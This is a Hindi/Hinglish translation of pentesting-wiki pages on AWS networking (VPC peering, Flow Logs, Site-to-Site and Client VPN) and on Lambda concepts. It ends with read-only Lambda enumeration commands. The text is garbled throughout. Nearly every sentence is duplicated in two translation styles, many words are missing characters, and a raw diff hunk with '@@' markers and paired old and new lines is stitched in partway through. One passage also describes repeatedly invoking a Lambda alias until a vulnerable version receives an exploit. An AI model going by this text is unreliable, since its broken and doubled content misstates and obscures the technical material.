हर AWS VPC सिर्फ अपने peer के साथ **communicate** करेग। उदाहरण के तौर पर, अगर VPC 1 और VPC 2 के बीच peering connection है, और VPC 2 और VPC 3 के बीच दूसरा connection है, जैसा कि दिखाया गया है, तो VPC 1 और 2 सीधे एक-दूसरे communicate कर सकते हैं, ैसे ही VPC 2 और VPC 3 भी, लेकिन VPC 1 और VPC 3 नहीं कर पाएंगे। **आप एक VPC के through route करके दूसरे तक नहीं जा सकते।**
### **VPC Flow Logs**
आपके VPC के भीतर सैकड़ों या हजारों संसाधन हो सकते हैं जो विभिन्न subnets (public और private दोनों) के बीच और VPC peering connections के माध्यम से अलग-अलग VPCs के बीच संचार कर रहे हं। **VPC Flow Logs आपको आपके VPC के भीतर आपके resources के network interfaces के बीच प्रवाहित होने वाली IP ट्रैफिक जानकारी capture करने की अनुमति देते हैं।**
अपनी VPC के भीतर, आपके पास सैकड़ों या हजारों resources हो सकते हैं जो different public और private subnets के बीच, और VPC peering connections के through different VPCs के बीच communicate कर रहे हं। **VPC Flow Logs allow you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**.
S3 access logs और CloudFront access logs के विपरीत, VPC Flow Logs द्वारा उत्पन्न **log data S3 में store नहीं किया जाता। इसके बजाय, captured log data CloudWatch logs को भेजा जाता है**
S3 access logs और CloudFront access logs के विपरीत, **VPC Flow Logs द्वारा generated log data S3 में store नहीं होता। इसके बजाय, captured log data CloudWatch logs में भेजा जाता है**
Limitations:
- यदि आप एक VPC peered connection चला रहे हैं, तो आप केवल उन्हीं peered VPCs के flow logs देख पाएंगे जो उसी account के भीतर हैं
- यदि आप अभी भी EC2-Classic environment के भीतर resources चला रहे हैं, तो दुर्भाग्यवश आप उनके interfaces से जानकारी प्राप्त नहीं कर पाएंग
- एक बार VPC Flow Log बन जाने के बाद, से बदला नहीं जा सकता। VPC Flow Log कॉन्फ़िगरेशन बदलने के लिए आपको से हटाना होगा और फिर नया बनाना होगा।
- निम्नलिखित ट्रैफिक logs द्वारा निगरानी और capture नहीं किया जाता: VPC के भीतर DHCP ट्रैफिक, Amazon DNS Server के लिए destined instances से आने वाला ट्रैफिक।
- किसी भी ट्रैफिक का जो VPC default router के IP पते के लिए destined ह और निम्नलिखित पतों से और उन पतों पर आने-जाने वाला ट्रैफिक, 169.254.169.254 (जो instance metadata जमा करने के लिए उपयोग होता है), और 169.254.169.123 (जो Amazon Time Sync Service के लिए उपयोग होता है) capture नहीं किया जाता
- एक Windows instance से Amazon Windows activation license से संबंधित ट्रैफिक
- एक network load balancer interface और एक endpoint network interface के बीच ट्रैफिक
- अगर आप VPC peered connection चला रहे हैं, तो आप सिर्फ same account के भीतर वाले peered VPCs के flow logs देख पाएंगे।
- अगर आप अभी भी EC2-Classic environment के भीतर resources चला रहे हैं, तो दुर्भाग्य से आप उनके interfaces से information retrieve नहीं कर सकत
- एक बार VPC Flow Log create हो जाने के बाद, से बदला नहीं जा सकता। VPC Flow Log configuration बदलने के लिए, आपको से delete करके फिर एक नया create करना होगा।
- निम्न traffic logs द्वारा monitored और captured नहीं होता VPC के भीतर DHCP traffic, instances से Amazon DNS Server के लिए destined traffic.
- किसी भी traffic जो VPC default router के IP address के लिए destined ह और निम्न addresses के लिए और उनसे traffic, 169.254.169.254 जो instance metadata gather करने के लिए use होता है, और 169.254.169.123 जो Amazon Time Sync Service के लिए use होता है।
- Windows instance से Amazon Windows activation license से related traffic
- network load balancer interface और endpoint network interface के बीच traffic
हर network interface जो CloudWatch log group को डेटा प्रकाशित करता है, वह एक अलग log stream उपयोग करेगा। और इन streams के भीतर, flow log घटना डेटा होगा जो log entries की सामग्री दिखाता है। इनमें से प्रत्येक **logs लगभग 10 से 15 मिनट की विंडो के दौरान डेटा capture करते हैं**
हर network interface जो CloudWatch log group को data publish करता है, वह अलग log stream use करेगा। और इन streams में, flow log event data होगा जो log entries का content दिखाता है। इनमें से प्रत्येक **logs captures data during a window of approximately 10 to 15 minutes**
## VPN
### Basic AWS VPN Components
1. **Customer Gateway**:
- एक Customer Gateway वह रिसोर्स है ज आप AWS में बनाते हैं ताकि आपके तरफ के VPN कनेक्शन को प्रस्तुत किया जा सके।
- यह मूलतः आपकी साइट-टू-साइट VPN कनेक्शन की आपकी तरफ physical device या software application ह
- आप routing जानकारी और अपने नेटवर्क डिवाइस (जैसे router या firewall) का public IP address AWS को प्रदान करते हैं ताकि एक Customer Gateway बनाया जा सके
- यह VPN कनेक्शन सेटअप करने के लिए एक reference point का काम करता है और यह अतिरिक्त शुल्क नहीं लता।
- Customer Gateway एक resource है जिसे आप AWS में create करते हैं ताकि आपके VPN connection के side को represent किया जा सके।
- यह essentially आपके side physical device या software application होता है Site-to-Site VPN connection पर
- Customer Gateway create करने के लिए आप AWS को अपने network device (जैसे router या firewall) की routing information और public IP address देते हैं
- यह VPN connection set up करने के लिए reference point का काम करता है और कोई additional charges नहीं लगाता।
2. **Virtual Private Gateway**:
- एक Virtual Private Gateway (VPG) साइट-टू-साइट VPN कनेक्शन के Amazon तरफ का VPN concentrator है।
- यह आपक VPC से जुड़ा होता है और आपके VPN कनेक्शन के लिए लक्ष्य के रूप में कार्य करता है।
- VPG VPN कनेक्शन के लिए AWS साइड endpoint है।
- यह आपक VPC और आपके on-premises नेटवर्क के बीच secure संचार को संभालता है।
- Virtual Private Gateway (VPG) Amazon side पर Site-to-Site VPN connection का VPN concentrator है।
- यह आपक VPC से attached होता है और आपके VPN connection का target होता है।
- VPG VPN connection के लिए AWS side endpoint है।
- यह आपक VPC और आपके on-premises network के बीच secure communication handle करता है।
3. **Site-to-Site VPN Connection**:
- एक Site-to-Site VPN connection आपके on-premises नेटवर्क को एक secure, IPsec VPN tunnel के माध्यम से एक VPC से जोड़ता है।
- इस प्रकार के कनेक्शन के लिए एक Customer Gateway और एक Virtual Private Gateway आवश्यक होते हैं
- यह आपके डेटा सेंटर या नेटवर्क और आपके AWS environment के बीच सुरक्षित, स्थिर और निरंतर संचार के लिए उपयोग किया जाता है।
- सामान्यतः यह नियमित, दीर्घकालिक कनेक्शनों के लिए उपयोग होता है और कनेक्शन पर स्थानांतरित किए गए डेटा की मात्रा के आधार पर बिल किया जाता है।
- Site-to-Site VPN connection आपके on-premises network को एक secure, IPsec VPN tunnel के through VPC से connect करता है।
- इस type of connection के लिए Customer Gateway और Virtual Private Gateway चाहिए
- इसका use आपके data center या network और AWS environment के बीच secure, stable, और consistent communication के लिए होता है।
- आमतौर पर regular, long-term connections के लिए use होता है और connection पर transferred data की amount के आधार पर billed होता है।
4. **Client VPN Endpoint**:
- एक Client VPN endpoint वह रिसोर्स है जिसे आप AWS में बनाते हैं ताकि client VPN sessions को सक्षम और प्रबंधित किया जा सके।
- इसका उपयोग व्यक्तिगत डिवाइसों (जैसे laptops, smartphones आदि) को securely AWS resources या आपके on-premises नेटवर्क से जोड़ने के लिए किया जाता है।
- यह Site-to-Site VPN से अलग है क्योंकि यह पूरी नेटवर्क कनेक्ट करने के बजाय व्यक्तिगत clients के लिए डिज़ाइन किया गया है।
- Client VPN के साथ, प्रत्येक client डिवाइस एक VPN client software का उपयोग करके secure कनेक्शन स्थापित करता है।
- Client VPN endpoint एक resource है जिसे आप AWS में create करते हैं ताकि client VPN sessions enable और manage कि जा सके
- इसका use individual devices (जैसे laptops, smartphones, आदि) को securely AWS resources या आपके on-premises network से connect करने देने के लिए होता है।
- यह Site-to-Site VPN से अलग है क्योंकि यह entire networks connect करने के बजाय individual clients के लिए designed है।
- Client VPN के साथ, हर client device secure connection establish करने के लिए VPN client software use करता है।
### Site-to-Site VPN
**अपने on premisses नेटवर्क को अपने VPC से कनेक्ट करें।**
**Connect your on premisses network with your VPC.**
- **VPN connection**: आपके on-premises उपकरण और आपक VPCs के बीच एक secure connection।
- **VPN tunnel**: एक encrypted लिंक जहाँ डेटा customer नेटवर्क से AWS की ओर या AWS से customer नेटवर्क की ओर जा सकता है।
- **VPN connection**: आपके on-premises equipment और आपक VPCs के बीच एक secure connection।
- **VPN tunnel**: एक encrypted link जहाँ data customer network से AWS क या AWS से customer network तक pass हो सकता है।
प्रत्येक VPN connection में दो VPN tunnels होते हैं जिन्हें आप high availability के लिए समानांतर उपयोग कर सकते हैं।
हर VPN connection में दो VPN tunnels शामिल होते हैं जिन्हें आप high availability के लिए simultaneously use कर सकते हैं।
- **Customer gateway**: एक AWS रिसोर्स जो AWS को आपके customer gateway device के बारे में जानकारी प्रदान करता है।
- **Customer gateway device**: साइट-टू-साइट VPN कनेक्शन की आपकी तरफ का physical device या software application।
- **Virtual private gateway**: साइट-टू-साइट VPN कनेक्शन के Amazon तरफ का VPN concentrator। आप Amazon तरफ के लिए virtual private gateway या transit gateway का उपयोग कर सकते हैं।
- **Transit gateway**: एक transit hub ज आपक VPCs और on-premises नेटवर्क्स को interconnect करने के लिए उपयोग किया जा सकता है। आप Amazon तरफ के लिए transit gateway या virtual private gateway का उपयोग करते हैं।
- **Customer gateway**: एक AWS resource जो आपके customer gateway device के बारे में AWS को information प्रदान करता है।
- **Customer gateway device**: Site-to-Site VPN connection के आपके side पर एक physical device या software application।
- **Virtual private gateway**: Site-to-Site VPN connection के Amazon side पर VPN concentrator। आप Amazon side of the Site-to-Site VPN connection के gateway के रूप में virtual private gateway या transit gateway use करते हैं।
- **Transit gateway**: एक transit hub जिसे आपक VPCs और on-premises networks को interconnect करने के लिए use किया जा सकता है। आप Amazon side of the Site-to-Site VPN connection के gateway के रूप में transit gateway या virtual private gateway use करते हैं।
#### Limitations
- IPv6 ट्रैफ़िक virtual private gateway पर VPN connections के लिए समर्थित नहीं है।
- एक AWS VPN connection Path MTU Discovery का समर्थन नहीं करता।
- IPv6 traffic virtual private gateway पर VPN connections के लिए supported नहीं है।
- एक AWS VPN connection Path MTU Discovery support नहीं करता।
इसके अतिरिक्त, Site-to-Site VPN उपयोग करते समय निम्न बातों क ध्यान में रखें।
इसके अलावा, जब आप Site-to-Site VPN use करते हैं, तो निम्न बातों क ध्यान रखें।
- जब आप अपन VPCs को एक साझा on-premises नेटवर्क से कनेक्ट कर रहे हं, तो हम सुझाव देते हैं कि आप अपने नेटवर्क्स के लिए non-overlapping CIDR blocks का उपयोग करें।
- जब आप अपन VPCs को एक common on-premises network से connect करते हं, तो हम recommend करते हैं कि आप अपने networks के लिए non-overlapping CIDR blocks use करें।
### Client VPN <a href="#what-is-components" id="what-is-components"></a>
**अपने मशीन से अपन VPC तक कनेक्ट करें**
**अपनी machine से अपन VPC तक connect करें**
#### Concepts
- **Client VPN endpoint:** वह रिसोर्स जिसे आप बनाते और कॉन्फ़िगर करते हैं ताकि client VPN sessions सक्षम और प्रबंधित हो सकें। यह वही रिसोर्स है जहाँ सभी client VPN sessions समाप्त होते हैं।
- **Target network:** एक target network वह नेटवर्क है जिसे आप एक Client VPN endpoint के साथ associate करते हैं। **A subnet from a VPC is a target network** किसी subnet को Client VPN endpoint े associate करने से आप VPN sessions स्थापित कर सकते हैं। आप उच्च उपलब्धता के लिए कई subnets को एक Client VPN endpoint के साथ associate कर सकते हैं। सभी subnets एक ही VPC से होने चाहिए। प्रत्येक subnet को अलग Availability Zone में होना चाहिए।
- **Route**: प्रत्येक Client VPN endpoint क एक route table होत है जो उपलब्ध destination network routes का वर्णन करत है। route table में प्रत्येक route ट्रैफिक के लिए विशिष्ट संसाधनों या नेटवर्क के लिए पथ निर्दिष्ट करता है।
- **Authorization rules:** एक authorization rule उन उपयोगकर्ताओं को प्रतिबंधित करता है जो किसी नेटवर्क तक पहुँच सकते हैं। किसी निर्दिष्ट नेटवर्क के लिए, आप Active Directory या identity provider (IdP) समूह को configure करते हैं जिसे पहुँच की अनुमति है। केवल उस समूह के सदस्य उपयोग निर्दिष्ट नेटवर्क तक पहुँच सकते हैं। **डिफ़ॉल्ट रूप से, कोई authorization rules नहीं होते** और उपयोगकर्ताओं को संसाधनों और नेटवर्क तक पहुँचने के लिए आपको authorization rules कॉन्फ़िगर करने होंगे।
- **Client:** वह end user जो Client VPN endpoint से जुड़कर VPN session स्थापित करता है। End users को एक OpenVPN client डाउनलोड करने और VPN session स्थापित करने के लिए आपने जो Client VPN configuration file बनाई है उसका उपयोग करकी आवश्यकता होत है।
- **Client CIDR range:** एक IP address range जिससे client IP addresses असाइन किए जाते हैं। Client VPN endpoint प्रत्येक कनेक्शन को client CIDR range से एक unique IP address असाइन किया जाता है। आप client CIDR range चुनते हैं, उदाहरण के लिए `10.2.0.0/16`.
- **Client VPN ports:** AWS Client VPN TCP और UDP दोनों के लिए ports 443 और 1194 का समर्थन करता है। डिफ़ॉल्ट पोर्ट 443 है।
- **Client VPN network interfaces:** जब आप अपने Client VPN endpoint के साथ किसी subnet को associate करते हैं, तो हम उस subnet में Client VPN network interfaces बनाते हैं। **जो ट्रैफिक VPC को Client VPN endpoint से भेजा जाता है वह Client VPN network interface के माध्यम से भेजा जाता है** Source network address translation (SNAT) फिर लागू किया जाता है, जहाँ client CIDR range से source IP address को Client VPN network interface IP address में translate किया जाता है।
- **Connection logging:** आप अपने Client VPN endpoint के लिए connection logging सक्षम कर सकते हैं ताकि connection events लॉग किए जा सकें। आप इस जानकारी का उपयोग फॉरेंसिक्स करने, यह विश्लेषण करने के लिए कर सकते हैं कि आपका Client VPN endpoint कैसे उपयोग किया जा रहा है, या connection समस्याओं को debug करने के लिए कर सकते हैं।
- **Self-service portal:** आप अपने Client VPN endpoint के लिए self-service portal सक्षम कर सकते हैं। Clients अपन credentials का उपयोग करके web-based portal में लॉग इन कर सकते हैं और Client VPN endpoint configuration file का नवीनतम संस्करण या AWS द्वारा प्रदान किया गया client का नवीनतम संस्करण डाउनलोड कर सकते हैं।
- **Client VPN endpoint:** वह resource जिसे आप create और configure करते हैं client VPN sessions enable और manage करने के लिए। यह वह resource है जहाँ सभी client VPN sessions terminate होते हैं।
- **Target network:** Target network वह network है जिसे आप Client VPN endpoint के साथ associate करते हैं। **VPC का एक subnet एक target network है**. किसी subnet को Client VPN endpoint साथ associate करने से आप VPN sessions establish कर सकते हैं। High availability के लिए आप Client VPN endpoint के साथ multiple subnets associate कर सकते हैं। सभी subnets same VPC से होने चाहिए। हर subnet अलग Availability Zone में होना चाहिए।
- **Route**: हर Client VPN endpoint के पास एक route table होत है जो available destination network routes को describe करत है। route table में हर route specific resources या networks तक traffic के path को specify करता है।
- **Authorization rules:** एक authorization rule **restricts the users who can access a network**. किसी specified network के लिए, आप Active Directory या identity provider (IdP) group configure करते हैं जिसे access allowed है। सिर्फ इसी group के users specified network access कर सकते हैं। **By default, there are no authorization rules** और users को resources और networks access करने देने के लिए आपको authorization rules configure करने होंगे।
- **Client:** End user जो VPN session establish करने के लिए Client VPN endpoint से connect करता है। End users को OpenVPN client download करना होता है और आपने जो Client VPN configuration file बनाई है उसे use करVPN session establish करना होत है।
- **Client CIDR range:** IP address range जिससे client IP addresses assign किए जाते हैं। Client VPN endpoint हर connection को client CIDR range से एक unique IP address मिलता है। आप client CIDR range चुनते हैं, उदाहरण के लिए `10.2.0.0/16`.
- **Client VPN ports:** AWS Client VPN TCP और UDP दोनों के लिए ports 443 और 1194 support करता है। Default port 443 है।
- **Client VPN network interfaces:** जब आप अपने Client VPN endpoint के साथ क subnet associate करते हैं, तो हम उस subnet में Client VPN network interfaces create करते हैं। **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. फिर Source network address translation (SNAT) apply होता है, जहाँ client CIDR range का source IP address Client VPN network interface IP address में translate होता है।
- **Connection logging:** आप connection events log करने के लिए अपने Client VPN endpoint के लिए connection logging enable कर सकते हैं। आप इस information का use forensics चलाने, यह analyze करने कि आपका Client VPN endpoint कैसे use हो रहा है, या connection issues debug करने के लिए कर सकते हैं।
- **Self-service portal:** आप अपने Client VPN endpoint के लिए self-service portal enable कर सकते हैं। Clients अपन credentials का use करके web-based portal में log in कर सकते हैं और Client VPN endpoint configuration file का latest version, या AWS provided client का latest version download कर सकते हैं।
#### Limitations
- **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table.
- Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.**
- Client CIDR range के कुछ पते Client VPN endpoint क availability मॉडल का समर्थन करने के लिए उपयोग किए जाते है, और ग्राहकों को असाइन नहीं कि जा सकत। इसलिए, हम सलाह देते हैं कि आप उस संख्या े दोगुने IP पतों वाला एक CIDR block असाइन करें जितने concurrent connections आप Client VPN endpoint पर समर्थन करने की योजना बना रहे हैं।
- Client CIDR range **create करने के बाद बदल नहीं सकती**
- Client VPN endpoint के साथ associate किए गए **subnets** एक ही VPC में होने चाहिए।
- आप **एक Availability Zone कई subnets** को एक Client VPN endpoint के साथ associate नहीं कर सकते।
- एक Client VPN endpoint **dedicated tenancy VPC में subnet associations का समर्थन नहीं करता**
- Client VPN केवल **IPv4** ट्रैफ़िक का समर्थन करता है।
- Client VPN **FIPS (Federal Information Processing Standards)** के अनुरूप नहीं है।
- यदि आपके Active Directory के लिए multi-factor authentication (MFA) disabled है, तो एक user password निम्न प्रारूप में नहीं हो सकता।
- Client CIDR ranges का block size कम से कम /22 होना चाहिए और /12 से बड़ा नहीं होना चाहिए।
- client CIDR range के **addresses** का एक **portion** Client VPN endpoint क availability model को support करने के लिए use होता है, और clients को assign नहीं किया जा सकत। इसलिए, हम recommend करते हैं कि आप ऐसा CIDR block assign करें जिसमें required IP addresses की संख्या े दोगुने IP addresses हों ताकि Client VPN endpoint पर planned maximum number of concurrent connections enable हो सकें।
- Client VPN endpoint create करने के बाद **client CIDR range cannot be changed**.
- Client VPN endpoint से associated **subnets** एक ही VPC में होने चाहिए।
- आप एक ही Availability Zone multiple subnets को Client VPN endpoint के साथ associate नहीं कर सकते।
- एक Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**.
- Client VPN सिर्फ **IPv4** traffic support करता है।
- Client VPN Federal Information Processing Standards (**FIPS**) के **compliant** नहीं है।
- अगर आपके Active Directory में multi-factor authentication (MFA) disabled है, तो user password निम्न format में नहीं हो सकता।
```
SCRV1:<base64_encoded_string>:<base64_encoded_string>
```
- जो क्लाइंट mutual authentication का उपयोग करके authenticate करते हैं उनके लिए self-service portal उपलब्ध नहीं है
- self-service portal उन clients के लिए **not available** है जो mutual authentication का use करके authenticate करते हैं।
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,56 +4,56 @@
## Lambda
Amazon Web Services (AWS) Lambda को एक **compute service** के रूप में वर्णित किया गया है जो कोड को निष्पादित करने की अनुमति देता है बिना सर्वर प्रावधान या प्रबंधन की आवश्यकता के। इसकी विशेषता यह है कि यह **कोड निष्पादन के लिए आवश्यक संसाधन आवंटन को स्वचालित रूप से संभालता है**, उच्च उपलब्धता, स्केलेबिलिटी और सुरक्षा जैसी सुविधाओं को सुनिश्चित करता है। Lambda का एक महत्वपूर्ण पहलू इसका मूल्य निर्धारण मॉडल है, जहा **शुल्क केवल उपयोग किए गए कंप्यूट समय पर आधारित होते हैं**, प्रारंभिक निवेश या दीर्घकालिक प्रतिबद्धताओं की आवश्यकता को समाप्त करता है।
Amazon Web Services (AWS) Lambda को एक **compute service** के रूप में वर्णित किया गया है जो server provision या management की आवश्यकता के बिना code execution को सक्षम बनाता है। इसकी विशेषता है कि यह code execution के लिए आवश्यक **resource allocation को automatically handle** कर सकता है, जिससे high availability, scalability, और security जैसी features सुनिश्चित होती है। Lambda का एक महत्वपूर्ण पहलू इसका pricing model है, जहा **charges केवल उपयोग किए गए compute time पर आधारित होते हैं**, जिससे initial investments या long-term obligations की आवश्यकता समाप्त हो जाती है।
एक लैम्ब्डा को कॉल करने के लिए इसे **जितनी बार चाहें** (Cloudwatch के साथ) कॉल करना संभव है, **एक URL** एंडपॉइंट को **एक्सपोज** करना और से कॉल करना, **API Gateway** के माध्यम से कॉल करना या यहां तक कि **S3** बकेट में डेटा में **परिवर्तनों** या **DynamoDB** तालिका में अपडेट के आधार पर कॉल करना
lambda को call करने के लिए इसे **जितनी बार चाहो उतनी बार** call किया जा सकता है (Cloudwatch के साथ), एक **URL** endpoint **expose** किया जा सकता है और से call किया जा सकता है, इसे **API Gateway** के माध्यम से call किया जा सकता है, या **events** जैसे **changes** to data in a **S3** bucket या **DynamoDB** table updates के आधार पर भी trigger किया जा सकता है
एक लैम्ब्डा का **कोड** **`/var/task`** में संग्रहीत होता है।
एक lambda का **code** **`/var/task`** में stored होता है।
### Lambda Aliases Weights
एक Lambda के पास **कई संस्करण** हो सकते हैं।\
और इसके पास **एक से अधिक** संस्करण हो सकते हैं जो **aliases** के माध्यम से एक्सपोज़ किए जाते हैं। **हर** **संस्करण** के **वजन** जो एक एलियास के अंदर एक्सपोज़ किए जाते हैं, यह तय करेंगे कि **कौन सा एलियास कॉल प्राप्त करता है** (यह 90%-10% हो सकता है, उदाहरण के लिए)।\
यदि **एक** एलियास का कोड **कमजोर** है, तो आप **अनुरोध भेज सकते हैं जब तक कमजोर** संस्करण को एक्सप्लॉइट प्राप्त नहीं होता
एक Lambda के **several versions** हो सकते हैं।\
और उसके **aliases** के माध्यम से 1 से अधिक version expose किए जा सकते हैं। alias के अंदर expose किए गए **each** version के **weights** यह तय करेंगे कि **which alias receive the invocation** (उदाहरण के लिए यह 90%-10% हो सकता है)।\
अगर **one** of the aliases का code **vulnerable** है, तो आप **requests** भेजते रह सकते हैं जब तक कि vulnerable version exploit receive न कर ले
![](<../../../images/image (223).png>)
![AWS Lambda aliases page showing release alias traffic split between version 2 and version 1](<../../../images/image (223).png>)
### Resource Policies
Lambda संसाधन नीतियाँ अन्य सेवाओं/खातों को लैम्ब्डा को कॉल करने की **अनुमति देने** की अनुमति देती हैं।\
उदाहरण के लिए, यह नीति है जो **किसी को भी URL के माध्यम से एक्सपोज़ किए गए लैम्ब्डा तक पहुँचने की अनुमति देती है**:
Lambda resource policies अन्य services/accounts को lambda invoke करने की **access** देने के लिए उपयोग की जा सकती हैं, उदाहरण के लिए।\
उदाहरण के लिए, यह policy **anyone** को **URL** के माध्यम से exposed lambda तक access देने के लिए है:
<figure><img src="https://lh4.googleusercontent.com/4PNFKBdzr3nMrPqeKkTslgwWDKxkXMdQ1SNdv7NPHykj3GX8wODrQyXOFbjk4fxHfZ8pDm5ijWgk2Vq2EGXiPRT3TQfZf1fHycvdEKBuDxJDYos1CJeMHXSeg86ZB-Ol7CNtten6xkVFQj6AhDUEWNQJrQ=s2048" alt=""><figcaption></figcaption></figure>
या यह नीति API Gateway को इसे कॉल करने की अनुमति देने के लिए:
या यह एक API Gateway को इसे invoke करने की अनुमति देने के लिए:
<figure><img src="https://lh3.googleusercontent.com/Su0JlR0wBqb-99Z4N_2-_kMlX0Xzx2n_GpZuOPW5IeXR3FYbm8OHFDM3Ora1BpXiSjHpDVUlq4yEyXwaI3nBuze6DJ-wRf2ATsCuWbq0wuBCd34E9uIpqwheE6Cc_PopviI_93O_j2ZKXc1-AJtsBoLVUw=s2048" alt=""><figcaption></figcaption></figure>
### Lambda Database Proxies
जब **सैकड़ों** **समानांतर लैम्ब्डा अनुरोध** होते हैं, यदि प्रत्येक को **डेटाबेस से कनेक्ट और कनेक्शन बंद करने** की आवश्यकता होती है, तो यह काम नहीं करेगा (लैम्ब्डा स्टेटलेस होते हैं, कनेक्शन को खुला नहीं र सकते)।\
फिर, यदि आपक **Lambda कार्य RDS Proxy के साथ इंटरैक्ट करते हैं** आपके डेटाबेस इंस्टेंस के बजाय। यह कई समानांतर Lambda कार्यों द्वारा बना कई समवर्ती कनेक्शनों के लिए आवश्यक कनेक्शन पूलिंग को संभालता है। यह आपक Lambda अनुप्रयोगों को **मौजूदा कनेक्शनों का पुन: उपयोग** करने की अनुमति देता है, बजाय इसके कि हर कार्य कॉल के लिए नए कनेक्शन बनाए
जब **hundreds** of **concurrent lambda requests** हों, और उनमें से हर एक को **database** से **connect and close a connection** करना पड़े, तो यह काम नहीं करेगा (lambdas stateless होते हैं, open connections maintain नहीं र सकते)।\
इसलिए, अगर आपक **Lambda functions interact with RDS Proxy instead** of your database instance, तो वह concurrent Lambda functions द्वारा बना कई simultaneous connections के scaling के लिए आवश्यक connection pooling को handle करता है। इससे आपक Lambda applications **reuse existing connections** कर सकती है, बजाय हर function invocation के लिए new connections बनाने के
### Lambda EFS Filesystems
डेटा को संरक्षित करने और यहां तक कि साझा करने के लिए **Lambdas EFS तक पहुँच सकते हैं और उन्हें माउंट कर सकते हैं**, ताकि Lambda से पढ़ और लिख सके।
data को preserve करने और यहां तक कि share करने के लिए **Lambdas can access EFS and mount them**, ताकि Lambda उनसे read और write कर सके।
### Lambda Layers
एक Lambda _लेयर_ एक .zip फ़ाइल संग्रह है जो **अतिरिक्त कोड** या अन्य सामग्री को **शामिल कर सकता है**। एक लेयर में पुस्तकालय, एक [कस्टम रनटाइम](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं।
एक Lambda _layer_ एक .zip file archive है जो **additional code** या अन्य content contain कर सकता है। एक layer में libraries, [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, या configuration files हो सकती हैं।
प्रत्येक फ़ंक्शन में **पाँच लेयर** तक शामिल करना संभव है। जब आप किसी फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है।
प्रति function **five layers** तक include करना संभव है। जब आप किसी function में layer include करते हैं, तो उसके **contents are extracted to the `/opt`** directory in the execution environment.
**डिफ़ॉल्ट** रूप से, आप जो **लेयर** बनाते हैं वे आपक AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **साझा** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन एक लेयर का उपोग करत हैं ज किसी अन्य खाते द्वारा प्रकाशित की गई है, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकत हैं** जब इसे हटा दिया गया हो, या जब आपकी लेयर तक पहुँचने की अनुमति रद्द कर दी गई हो। हालाकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाए गए लेयर संस्करण का उपयोग करते हुए फ़ंक्शंस को अपडेट नहीं कर सकते।
**By default**, जो **layers** आप create करते हैं वे आपक AWS account के लिए **private** होती हैं। आप चाहें तो किसी layer को अन्य accounts के साथ **share** कर सकते हैं या layer को **public** बना सकते हैं। अगर आपकी functions किसी ऐसी layer का उपोग करत हैं जिसे किसी अन्य account ने publish किया है, तो आपकी functions उस layer version को **continue to use** कर सकत हैं, **after it has been deleted, or after your permission to access the layer is revoked**. हालाकि, आप deleted layer version का उपयोग करके एक नया function create नहीं कर सकते या existing functions update नहीं कर सकते।
कंटेनर छवि के रूप में तैनात फ़ंक्शन लेयर का उपयोग नहीं करते हैं। इसके बजाय, आप छवि बनाने के समय अपनी पसंद का रनटाइम, पुस्तकालय और अन्य निर्भरताएँ कंटेनर छवि में पैकेज करते हैं।
Container image के रूप में deployed functions layers का उपयोग नहीं करतं। इसके बजाय, image build करते समय आप अपना preferred runtime, libraries, और अन्य dependencies container image में package करते हैं।
### Lambda Extensions
Lambda एक्सटेंशन कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाते हैं। ये एक्सटेंशन, [.zip संग्रह का उपयोग करके Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के माध्यम से जोड़े जाते हैं या [कंटेनर छवि तैनाती में शामिल होते हैं](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), दो मोड में कार्य करते हैं: **आंतरिक** और **बाहरी**
Lambda extensions functions को various **monitoring, observability, security, and governance tools** के साथ integrate करके enhance करते हैं। ये extensions, जो [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के माध्यम से जोड़े जाते हैं या [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) में शामिल होते हैं, दो modes में operate करते हैं: **internal** और **external**
- **आंतरिक एक्सटेंशन** रनटाइम प्रक्रिया के साथ विलीन होते हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करते हैं। यह अनुकूलन कई रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल है
- **बाहरी एक्सटेंशन** अलग प्रक्रियाओं के रूप में चलते हैं, Lambda फ़ंक्शन के जीवन चक्र के साथ संचालन संरेखण बनाए रखते हैं। वे विभिन्न रनटाइम्स के साथ संगत होते हैं जैस**Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम**
- **Internal extensions** runtime process के साथ merge हो जाते हैं, और **language-specific environment variables** तथा **wrapper scripts** का उपयोग करके इसके startup को manipulate करते हैं। यह customization **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1** सहित कई runtimes पर लागू होती है।
- **External extensions** अलग processes के रूप में run करते हैं, और Lambda function के lifecycle के साथ operation alignment बनाए रखते हैं। य**Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, और **custom runtimes** जैसे विभिन्न runtimes के साथ compatible हैं
### Enumeration
```bash
@@ -92,9 +92,9 @@ aws lambda list-event-source-mappings
aws lambda list-code-signing-configs
aws lambda list-functions-by-code-signing-config --code-signing-config-arn <arn>
```
### एक लैम्ब्डा को सक्रिय करें
